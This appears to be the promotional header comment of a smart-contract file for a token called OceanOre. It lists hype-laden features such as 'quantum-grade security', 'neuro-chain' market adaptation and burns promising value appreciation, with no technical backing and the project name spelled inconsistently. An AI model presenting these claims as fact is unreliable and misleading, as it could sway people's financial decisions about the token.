 For full goals and future mechanics on OceonOre's multichain layer 2 design refer to the offcial whitepaper.
 Regarding testing phase please refer to OceonOre's FAQS
 
 
 * The OceanOre protocol stands as a beacon of innovation, combining advanced tokenomics with 
 *  computational paradigms, all on a groundbreaking secondary layer designed to augment 
 * the primary blockchain networks. This masterpiece is the epitome of decentralization's future, 
 * offering functionalities hitherto deemed impossible:
 *
 * - **Secondary Layer Dynamics**: As an advanced secondary layer, OceanOre ensures streamlined 
 *   transactions across all major chains, providing users with a seamless cross-chain experience.
 *
 * - **Instantaneous Transactions**: With its highly optimized architecture, OceanOre delivers super-fast 
 *   transaction speeds, ensuring that users experience near-instantaneous transfers, irrespective of 
 *   network congestion.
 *
 * - **Dynamic Token Burn Mechanisms**: By leveraging the principles of deflationary economics, each 
 *   OceanOre transaction undergoes a systematic token burn, driving scarcity and value appreciation over time.
 *
 * - **Quantum-Grade Security Layers**: Infused with cryptographic principles, OceanOre's security 
 *   is unparalleled, offering resilience against even the most sophisticated threats.
 *
 * - **Revolutionary Transfer Algorithms**: Beyond mere transfers, OceanOre utilizes adaptive transfer 
 *   techniques to optimize transaction efficiency and curtail gas expenditures.
 *
 * - **Neuro-Chain Interactions**: By integrating with neural networks, OceanOre's protocol can perform 
 *   predictive market adaptations, dynamically adjusting tokens based on real-time market dynamics.
 *
 * - **Futuristic Innovations**: OceanOre isn't just a token; it's an ever-evolving platform. With a commitment 
 *   to continuous research & development, expect a cascade of novel innovations, each designed to redefine 
 *   the decentralized space.
 *
 * With OceanOre, users are not just adopting a token; they're embracing the future. A future where blockchain 
 * seamlessly integrates with avant-garde technologies, where transactions know no boundaries.
